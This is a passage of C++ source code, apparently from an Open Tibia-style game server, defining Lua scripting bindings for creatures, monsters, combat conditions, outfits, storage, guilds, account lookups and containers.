        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoCombatAreaDispel(lua_State* L)
{
    //doCombatAreaDispel(cid, pos, area, type, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    ConditionType_t dispelType = (ConditionType_t)popNumber(L);
    uint32_t areaId = popNumber(L);

    PositionEx pos;
    popPosition(L, pos);
    uint32_t cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    const CombatArea* area = env->getCombatArea(areaId);
    if(area || !areaId)
    {
        CombatParams params;
        params.effects.impact = effect;
        params.dispelType = dispelType;

        Combat::doCombatDispel(creature, pos, area, params);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_AREA_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoTargetCombatDispel(lua_State* L)
{
    //doTargetCombatDispel(cid, target, type, effect)
    MagicEffect_t effect = (MagicEffect_t)popNumber(L);
    ConditionType_t dispelType = (ConditionType_t)popNumber(L);
    uint32_t targetCid = popNumber(L), cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = NULL;
    if(cid)
    {
        if(!(creature = env->getCreatureByUID(cid)))
        {
            errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }
    }

    if(Creature* target = env->getCreatureByUID(targetCid))
    {
        CombatParams params;
        params.effects.impact = effect;
        params.dispelType = dispelType;

        Combat::doCombatDispel(creature, target, params);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoChallengeCreature(lua_State* L)
{
    //doChallengeCreature(cid, target)
    ScriptEnviroment* env = getEnv();
    uint32_t targetCid = popNumber(L);

    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Creature* target = env->getCreatureByUID(targetCid);
    if(!target)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    target->challengeCreature(creature);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoSummonMonster(lua_State* L)
{
    //doSummonMonster(cid, name)
    std::string name = popString(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    lua_pushnumber(L, g_game.placeSummon(creature, name));
    return 1;
}

int32_t LuaScriptInterface::luaDoConvinceCreature(lua_State* L)
{
    //doConvinceCreature(cid, target)
    uint32_t cid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Creature* target = env->getCreatureByUID(cid);
    if(!target)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    target->convinceCreature(creature);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaGetMonsterTargetList(lua_State* L)
{
    //getMonsterTargetList(cid)
    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Monster* monster = creature->getMonster();
    if(!monster)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    const CreatureList& targetList = monster->getTargetList();
    CreatureList::const_iterator it = targetList.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != targetList.end(); ++it, ++i)
    {
        if(monster->isTarget(*it))
        {
            lua_pushnumber(L, i);
            lua_pushnumber(L, env->addThing(*it));
            pushTable(L);
        }
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetMonsterFriendList(lua_State* L)
{
    //getMonsterFriendList(cid)
    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Monster* monster = creature->getMonster();
    if(!monster)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Creature* friendCreature;
    const CreatureList& friendList = monster->getFriendList();
    CreatureList::const_iterator it = friendList.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != friendList.end(); ++it, ++i)
    {
        friendCreature = (*it);
        if(!friendCreature->isRemoved() && friendCreature->getPosition().z == monster->getPosition().z)
        {
            lua_pushnumber(L, i);
            lua_pushnumber(L, env->addThing(*it));
            pushTable(L);
        }
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoMonsterSetTarget(lua_State* L)
{
    //doMonsterSetTarget(cid, target)
    uint32_t targetId = popNumber(L);
    ScriptEnviroment* env = getEnv();

    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Monster* monster = creature->getMonster();
    if(!monster)
    {
        errorEx(getError(LUA_ERROR_MONSTER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Creature* target = env->getCreatureByUID(targetId);
    if(!target)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(!monster->isSummon())
        lua_pushboolean(L, monster->selectTarget(target));
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoMonsterChangeTarget(lua_State* L)
{
    //doMonsterChangeTarget(cid)
    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Monster* monster = creature->getMonster();
    if(!monster)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    if(!monster->isSummon())
        monster->searchTarget(TARGETSEARCH_RANDOM);

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaGetMonsterInfo(lua_State* L)
{
    //getMonsterInfo(name)
    const MonsterType* mType = g_monsters.getMonsterType(popString(L));
    if(!mType)
    {
        errorEx(getError(LUA_ERROR_MONSTER_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }
    lua_newtable(L);
    setField(L, "name", mType->name.c_str());
    setField(L, "description", mType->nameDescription.c_str());
    setField(L, "experience", mType->experience);
    setField(L, "health", mType->health);
    setField(L, "healthMax", mType->healthMax);
    setField(L, "manaCost", mType->manaCost);
    setField(L, "defense", mType->defense);
    setField(L, "armor", mType->armor);
    setField(L, "baseSpeed", mType->baseSpeed);
    setField(L, "lookCorpse", mType->lookCorpse);
    setField(L, "race", mType->race);
    setField(L, "skull", mType->skull);
    setField(L, "partyShield", mType->partyShield);
    setFieldBool(L, "summonable", mType->isSummonable);
    setFieldBool(L, "illusionable", mType->isIllusionable);
    setFieldBool(L, "convinceable", mType->isConvinceable);
    setFieldBool(L, "attackable", mType->isAttackable);
    setFieldBool(L, "hostile", mType->isHostile);
    createTable(L, "defenses");

    SpellList::const_iterator it = mType->spellDefenseList.begin();
    for(uint32_t i = 1; it != mType->spellDefenseList.end(); ++it, ++i)
    {
        createTable(L, i);
        setField(L, "speed", it->speed);
        setField(L, "chance", it->chance);
        setField(L, "range", it->range);

        setField(L, "minCombatValue", it->minCombatValue);
        setField(L, "maxCombatValue", it->maxCombatValue);
        setFieldBool(L, "isMelee", it->isMelee);
        pushTable(L);
    }

    pushTable(L);
    createTable(L, "attacks");

    it = mType->spellAttackList.begin();
    for(uint32_t i = 1; it != mType->spellAttackList.end(); ++it, ++i)
    {
        createTable(L, i);
        setField(L, "speed", it->speed);
        setField(L, "chance", it->chance);
        setField(L, "range", it->range);

        setField(L, "minCombatValue", it->minCombatValue);
        setField(L, "maxCombatValue", it->maxCombatValue);
        setFieldBool(L, "isMelee", it->isMelee);
        pushTable(L);
    }

    pushTable(L);
    createTable(L, "loot");

    LootItems::const_iterator lit = mType->lootItems.begin();
    for(uint32_t i = 1; lit != mType->lootItems.end(); ++lit, ++i)
    {
        createTable(L, i);
        if(lit->ids.size() > 1)
        {
            createTable(L, "ids");
            std::vector<uint16_t>::const_iterator iit = lit->ids.begin();
            for(uint32_t j = 1; iit != lit->ids.end(); ++iit, ++j)
            {
                lua_pushnumber(L, j);
                lua_pushnumber(L, (*iit));
                pushTable(L);
            }

            pushTable(L);
        }
        else
            setField(L, "id", lit->ids[0]);

        setField(L, "count", lit->count);
        setField(L, "chance", lit->chance);
        setField(L, "subType", lit->subType);
        setField(L, "actionId", lit->actionId);
        setField(L, "uniqueId", lit->uniqueId);
        setField(L, "text", lit->text);

        if(lit->childLoot.size() > 0)
        {
            createTable(L, "child");
            LootItems::const_iterator cit = lit->childLoot.begin();
            for(uint32_t j = 1; cit != lit->childLoot.end(); ++cit, ++j)
            {
                createTable(L, j);
                if(cit->ids.size() > 1)
                {
                    createTable(L, "ids");
                    std::vector<uint16_t>::const_iterator iit = cit->ids.begin();
                    for(uint32_t k = 1; iit != cit->ids.end(); ++iit, ++k)
                    {
                        lua_pushnumber(L, k);
                        lua_pushnumber(L, (*iit));
                        pushTable(L);
                    }

                    pushTable(L);
                }
                else
                    setField(L, "id", cit->ids[0]);

                setField(L, "count", cit->count);
                setField(L, "chance", cit->chance);
                setField(L, "subType", cit->subType);
                setField(L, "actionId", cit->actionId);
                setField(L, "uniqueId", cit->uniqueId);
                setField(L, "text", cit->text);

                pushTable(L);
            }

            pushTable(L);
        }

        pushTable(L);
    }

    pushTable(L);
    createTable(L, "summons");

    SummonList::const_iterator sit = mType->summonList.begin();
    for(uint32_t i = 1; sit != mType->summonList.end(); ++sit, ++i)
    {
        createTable(L, i);
        setField(L, "name", sit->name);
        setField(L, "chance", sit->chance);

        setField(L, "interval", sit->interval);
        setField(L, "amount", sit->amount);
        pushTable(L);
    }

    pushTable(L);
    return 1;
}

int32_t LuaScriptInterface::luaGetTalkActionList(lua_State* L)
{
    //getTalkactionList()
    TalkActionsMap::const_iterator it = g_talkActions->getFirstTalk();
    lua_newtable(L);
    for(uint32_t i = 1; it != g_talkActions->getLastTalk(); ++it, ++i)
    {
        createTable(L, i);
        setField(L, "words", it->first);
        setField(L, "access", it->second->getAccess());

        setFieldBool(L, "log", it->second->isLogged());
        setFieldBool(L, "hide", it->second->isHidden());

        setField(L, "channel", it->second->getChannel());
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetExperienceStageList(lua_State* L)
{
    //getExperienceStageList()
    if(!g_config.getBool(ConfigManager::EXPERIENCE_STAGES))
    {
        lua_pushboolean(L, false);
        return true;
    }

    StageList::const_iterator it = g_game.getFirstStage();
    lua_newtable(L);
    for(uint32_t i = 1; it != g_game.getLastStage(); ++it, ++i)
    {
        createTable(L, i);
        setField(L, "level", it->first);
        setFieldFloat(L, "multiplier", it->second);
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoAddCondition(lua_State* L)
{
    //doAddCondition(cid, condition)
    uint32_t conditionId = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Condition* condition = env->getConditionObject(conditionId);
    if(!condition)
    {
        errorEx(getError(LUA_ERROR_CONDITION_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    creature->addCondition(condition->clone());
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveCondition(lua_State* L)
{
    //doRemoveCondition(cid, type[, subId])
    uint32_t subId = 0;
    if(lua_gettop(L) > 2)
        subId = popNumber(L);

    ConditionType_t conditionType = (ConditionType_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    Condition* condition = creature->getCondition(conditionType, CONDITIONID_COMBAT, subId);
    if(!condition)
        condition = creature->getCondition(conditionType, CONDITIONID_DEFAULT, subId);

    if(condition)
        creature->removeCondition(condition);

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaDoRemoveConditions(lua_State* L)
{
    //doRemoveConditions(cid[, onlyPersistent])
    bool onlyPersistent = true;
    if(lua_gettop(L) > 1)
        onlyPersistent = popNumber(L);

    ScriptEnviroment* env = getEnv();
    Creature* creature = env->getCreatureByUID(popNumber(L));
    if(!creature)
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
        return 1;
    }

    creature->removeConditions(CONDITIONEND_ABORT, onlyPersistent);
    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaNumberToVariant(lua_State* L)
{
    //numberToVariant(number)
    LuaVariant var;
    var.type = VARIANT_NUMBER;
    var.number = popNumber(L);

    LuaScriptInterface::pushVariant(L, var);
    return 1;
}

int32_t LuaScriptInterface::luaStringToVariant(lua_State* L)
{
    //stringToVariant(string)
    LuaVariant var;
    var.type = VARIANT_STRING;
    var.text = popString(L);

    LuaScriptInterface::pushVariant(L, var);
    return 1;
}

int32_t LuaScriptInterface::luaPositionToVariant(lua_State* L)
{
    //positionToVariant(pos)
    LuaVariant var;
    var.type = VARIANT_POSITION;
    popPosition(L, var.pos);

    LuaScriptInterface::pushVariant(L, var);
    return 1;
}

int32_t LuaScriptInterface::luaTargetPositionToVariant(lua_State* L)
{
    //targetPositionToVariant(pos)
    LuaVariant var;
    var.type = VARIANT_TARGETPOSITION;
    popPosition(L, var.pos);

    LuaScriptInterface::pushVariant(L, var);
    return 1;
}

int32_t LuaScriptInterface::luaVariantToNumber(lua_State* L)
{
    //variantToNumber(var)
    LuaVariant var = popVariant(L);

    uint32_t number = 0;
    if(var.type == VARIANT_NUMBER)
        number = var.number;

    lua_pushnumber(L, number);
    return 1;
}

int32_t LuaScriptInterface::luaVariantToString(lua_State* L)
{
    //variantToString(var)
    LuaVariant var = popVariant(L);

    std::string text = "";
    if(var.type == VARIANT_STRING)
        text = var.text;

    lua_pushstring(L, text.c_str());
    return 1;
}

int32_t LuaScriptInterface::luaVariantToPosition(lua_State* L)
{
    //luaVariantToPosition(var)
    LuaVariant var = popVariant(L);

    PositionEx pos(0, 0, 0, 0);
    if(var.type == VARIANT_POSITION || var.type == VARIANT_TARGETPOSITION)
        pos = var.pos;

    pushPosition(L, pos, pos.stackpos);
    return 1;
}

int32_t LuaScriptInterface::luaDoChangeSpeed(lua_State* L)
{
    //doChangeSpeed(cid, delta)
    int32_t delta = (int32_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
    {
        g_game.changeSpeed(creature, delta);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaSetCreatureOutfit(lua_State* L)
{
    //doSetCreatureOutfit(cid, outfit, time)
    int32_t time = (int32_t)popNumber(L);
    Outfit_t outfit = popOutfit(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, Spell::CreateIllusion(creature, outfit, time) == RET_NOERROR);
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureOutfit(lua_State* L)
{
    //getCreatureOutfit(cid)
    ScriptEnviroment* env = getEnv();
    if(const Creature* creature = env->getCreatureByUID(popNumber(L)))
        pushOutfit(L, creature->getCurrentOutfit());
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaSetMonsterOutfit(lua_State* L)
{
    //doSetMonsterOutfit(cid, name, time)
    int32_t time = (int32_t)popNumber(L);
    std::string name = popString(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, Spell::CreateIllusion(creature, name, time) == RET_NOERROR);
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaSetItemOutfit(lua_State* L)
{
    //doSetItemOutfit(cid, item, time)
    int32_t time = (int32_t)popNumber(L);
    uint32_t item = (uint32_t)popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, Spell::CreateIllusion(creature, item, time) == RET_NOERROR);
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetStorage(lua_State* L)
{
    //getStorage(key)
    ScriptEnviroment* env = getEnv();
    std::string strValue;
    if(env->getStorage(popNumber(L), strValue))
    {
        int32_t intValue = atoi(strValue.c_str());
        if(intValue || strValue == "0")
            lua_pushnumber(L, intValue);
        else
            lua_pushstring(L, strValue.c_str());
    }
    else
        lua_pushnumber(L, -1);

    return 1;
}

int32_t LuaScriptInterface::luaDoSetStorage(lua_State* L)
{
    //doSetStorage(value, key)
    std::string value;
    bool nil = false;
    if(lua_isnil(L, -1))
    {
        nil = true;
        lua_pop(L, 1);
    }
    else
        value = popString(L);

    ScriptEnviroment* env = getEnv();
    if(!nil)
        env->setStorage(popNumber(L), value);
    else
        env->eraseStorage(popNumber(L));

    lua_pushboolean(L, true);
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerDepotItems(lua_State* L)
{
    //getPlayerDepotItems(cid, depotid)
    uint32_t depotid = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(const Depot* depot = player->getDepot(depotid, true))
            lua_pushnumber(L, depot->getItemHoldingCount());
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetGuildId(lua_State* L)
{
    //doPlayerSetGuildId(cid, id)
    uint32_t id = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        if(player->guildId)
        {
            player->leaveGuild();
            if(!id)
                lua_pushboolean(L, true);
            else if(IOGuild::getInstance()->guildExists(id))
                lua_pushboolean(L, IOGuild::getInstance()->joinGuild(player, id));
            else
                lua_pushboolean(L, false);
        }
        else if(id && IOGuild::getInstance()->guildExists(id))
            lua_pushboolean(L, IOGuild::getInstance()->joinGuild(player, id));
        else
            lua_pushboolean(L, false);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetGuildLevel(lua_State* L)
{
    //doPlayerSetGuildLevel(cid, level[, rank])
    uint32_t rank = 0;
    if(lua_gettop(L) > 2)
        rank = popNumber(L);

    GuildLevel_t level = (GuildLevel_t)popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
        lua_pushboolean(L, player->setGuildLevel(level, rank));
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaDoPlayerSetGuildNick(lua_State* L)
{
    //doPlayerSetGuildNick(cid, nick)
    std::string nick = popString(L);

    ScriptEnviroment* env = getEnv();
    if(Player* player = env->getPlayerByUID(popNumber(L)))
    {
        player->setGuildNick(nick);
        lua_pushboolean(L, true);
    }
    else
    {
        errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetGuildId(lua_State* L)
{
    //getGuildId(guildName)
    uint32_t guildId;
    if(IOGuild::getInstance()->getGuildId(guildId, popString(L)))
        lua_pushnumber(L, guildId);
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetGuildMotd(lua_State* L)
{
    //getGuildMotd(guildId)
    uint32_t guildId = popNumber(L);
    if(IOGuild::getInstance()->guildExists(guildId))
        lua_pushstring(L, IOGuild::getInstance()->getMotd(guildId).c_str());
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaDoMoveCreature(lua_State* L)
{
    //doMoveCreature(cid, direction)
    uint32_t direction = popNumber(L);
    if(direction < NORTH || direction > NORTHEAST)
    {
        lua_pushboolean(L, false);
        return 1;
    }

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushnumber(L, g_game.internalMoveCreature(creature, (Direction)direction, FLAG_NOLIMIT));
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaIsCreature(lua_State* L)
{
    //isCreature(cid)
    ScriptEnviroment* env = getEnv();
    lua_pushboolean(L, env->getCreatureByUID(popNumber(L)) ? true : false);
    return 1;
}

int32_t LuaScriptInterface::luaIsContainer(lua_State* L)
{
    //isContainer(uid)
    ScriptEnviroment* env = getEnv();
    lua_pushboolean(L, env->getContainerByUID(popNumber(L)) ? true : false);
    return 1;
}

int32_t LuaScriptInterface::luaIsMovable(lua_State* L)
{
    //isMovable(uid)
    ScriptEnviroment* env = getEnv();
    Thing* thing = env->getThingByUID(popNumber(L));
    if(thing && thing->isPushable())
        lua_pushboolean(L, true);
    else
        lua_pushboolean(L, false);

    return 1;
}

int32_t LuaScriptInterface::luaGetCreatureByName(lua_State* L)
{
    //getCreatureByName(name)
    ScriptEnviroment* env = getEnv();
    if(Creature* creature = g_game.getCreatureByName(popString(L)))
        lua_pushnumber(L, env->addThing(creature));
    else
        lua_pushnil(L);

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerByGUID(lua_State* L)
{
    //getPlayerByGUID(guid)
    ScriptEnviroment* env = getEnv();
    if(Player* player = g_game.getPlayerByGuid(popNumber(L)))
        lua_pushnumber(L, env->addThing(player));
    else
        lua_pushnil(L);

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerByNameWildcard(lua_State* L)
{
    //getPlayerByNameWildcard(name~[, ret = false])
    Player* player = NULL;
    bool pushRet = false;
    if(lua_gettop(L) > 1)
        pushRet = popNumber(L);

    ScriptEnviroment* env = getEnv();
    ReturnValue ret = g_game.getPlayerByNameWildcard(popString(L), player);
    if(ret == RET_NOERROR)
        lua_pushnumber(L, env->addThing(player));
    else if(pushRet)
        lua_pushnumber(L, ret);
    else
        lua_pushnil(L);

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerGUIDByName(lua_State* L)
{
    //getPlayerGUIDByName(name[, multiworld = false])
    bool multiworld = false;
    if(lua_gettop(L) > 1)
        multiworld = popNumber(L);

    std::string name = popString(L);
    uint32_t guid;
    if(Player* player = g_game.getPlayerByName(name.c_str()))
        lua_pushnumber(L, player->getGUID());
    else if(IOLoginData::getInstance()->getGuidByName(guid, name, multiworld))
        lua_pushnumber(L, guid);
    else
        lua_pushnil(L);

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayerNameByGUID(lua_State* L)
{
    //getPlayerNameByGUID(guid[, multiworld = false[, displayError = true]])
    int32_t parameters = lua_gettop(L);
    bool multiworld = false, displayError = true;

    if(parameters > 2)
        displayError = popNumber(L);

    if(parameters > 1)
        multiworld = popNumber(L);

    uint32_t guid = popNumber(L);
    std::string name;
    if(!IOLoginData::getInstance()->getNameByGuid(guid, name, multiworld))
    {
        if(displayError)
            errorEx(getError(LUA_ERROR_PLAYER_NOT_FOUND));

        lua_pushnil(L);
        return 1;
    }

    lua_pushstring(L, name.c_str());
    return 1;
}

int32_t LuaScriptInterface::luaGetPlayersByAccountId(lua_State* L)
{
    //getPlayersByAccountId(accId)
    PlayerVector players = g_game.getPlayersByAccount(popNumber(L));

    ScriptEnviroment* env = getEnv();
    PlayerVector::iterator it = players.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != players.end(); ++it, ++i)
    {
        lua_pushnumber(L, i);
        lua_pushnumber(L, env->addThing(*it));
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetIpByName(lua_State* L)
{
    //getIpByName(name)
    std::string name = popString(L);

    if(Player* player = g_game.getPlayerByName(name))
        lua_pushnumber(L, player->getIP());
    else
        lua_pushnumber(L, IOLoginData::getInstance()->getLastIPByName(name));

    return 1;
}

int32_t LuaScriptInterface::luaGetPlayersByIp(lua_State* L)
{
    //getPlayersByIp(ip[, mask])
    uint32_t mask = 0xFFFFFFFF;
    if(lua_gettop(L) > 1)
        mask = (uint32_t)popNumber(L);

    PlayerVector players = g_game.getPlayersByIP(popNumber(L), mask);

    ScriptEnviroment* env = getEnv();
    PlayerVector::iterator it = players.begin();

    lua_newtable(L);
    for(uint32_t i = 1; it != players.end(); ++it, ++i)
    {
        lua_pushnumber(L, i);
        lua_pushnumber(L, env->addThing(*it));
        pushTable(L);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetAccountIdByName(lua_State* L)
{
    //getAccountIdByName(name)
    std::string name = popString(L);

    if(Player* player = g_game.getPlayerByName(name))
        lua_pushnumber(L, player->getAccount());
    else
        lua_pushnumber(L, IOLoginData::getInstance()->getAccountIdByName(name));

    return 1;
}

int32_t LuaScriptInterface::luaGetAccountByName(lua_State* L)
{
    //getAccountByName(name)
    std::string name = popString(L);

    if(Player* player = g_game.getPlayerByName(name))
        lua_pushstring(L, player->getAccountName().c_str());
    else
    {
        std::string tmp;
        IOLoginData::getInstance()->getAccountName(IOLoginData::getInstance()->getAccountIdByName(name), tmp);
        lua_pushstring(L, tmp.c_str());
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetAccountIdByAccount(lua_State* L)
{
    //getAccountIdByAccount(accName)
    uint32_t value = 0;
    IOLoginData::getInstance()->getAccountId(popString(L), value);
    lua_pushnumber(L, value);
    return 1;
}

int32_t LuaScriptInterface::luaGetAccountByAccountId(lua_State* L)
{
    //getAccountByAccountId(accId)
    std::string value = 0;
    IOLoginData::getInstance()->getAccountName(popNumber(L), value);
    lua_pushstring(L, value.c_str());
    return 1;
}

int32_t LuaScriptInterface::luaRegisterCreatureEvent(lua_State* L)
{
    //registerCreatureEvent(cid, name)
    std::string name = popString(L);

    ScriptEnviroment* env = getEnv();
    if(Creature* creature = env->getCreatureByUID(popNumber(L)))
        lua_pushboolean(L, creature->registerCreatureEvent(name));
    else
    {
        errorEx(getError(LUA_ERROR_CREATURE_NOT_FOUND));
        lua_pushboolean(L, false);
    }

    return 1;
}

int32_t LuaScriptInterface::luaGetContainerSize(lua_State* L)
{
    //getContainerSize(uid)
    ScriptEnviroment* env = getEnv();
    if(Container* container = env->getContainerByUID(popNumber(L)))
        lua_pushnumber(L, container->size());
    else
    {
        errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetContainerCap(lua_State* L)
{
    //getContainerCap(uid)
    ScriptEnviroment* env = getEnv();
    if(Container* container = env->getContainerByUID(popNumber(L)))
        lua_pushnumber(L, container->capacity());
    else
    {
        errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND));
        lua_pushboolean(L, false);
    }
    return 1;
}

int32_t LuaScriptInterface::luaGetContainerItem(lua_State* L)
{
    //getContainerItem(uid, slot)
    uint32_t slot = popNumber(L);

    ScriptEnviroment* env = getEnv();
    if(Container* container = env->getContainerByUID(popNumber(L)))
    {
        if(Item* item = container->getItem(slot))
            pushThing(L, item, env->addThing(item));
        else
            pushThing(L, NULL, 0);
    }
    else
    {
        errorEx(getError(LUA_ERROR_CONTAINER_NOT_FOUND));
        pushThing(L, NULL, 0);
    }
    return 1;

}

int32_t LuaScriptInterface::luaDoAddContainerItemEx(lua_State* L)
{
    //doAddContainerItemEx(uid, virtuid)
    uint32_t virtuid = popNumber(L);
    ScriptEnviroment* env = getEnv();
    if(Container* container = env->getContainerByUID(popNumber(L)))
    {
        Item* item = env->getItemByUID(virtuid);
        if(!item)
        {
            errorEx(getError(LUA_ERROR_ITEM_NOT_FOUND));
            lua_pushboolean(L, false);
            return 1;
        }

        if(item->getParent() != VirtualCylinder::virtualCylinder)
        {
            lua_pushboolean(L, false);
            return 1;
        }

        ReturnValue ret = g_game.internalAddItem(NULL, container, item);
        if(ret == RET_NOERROR)
            env->removeTempItem(item);

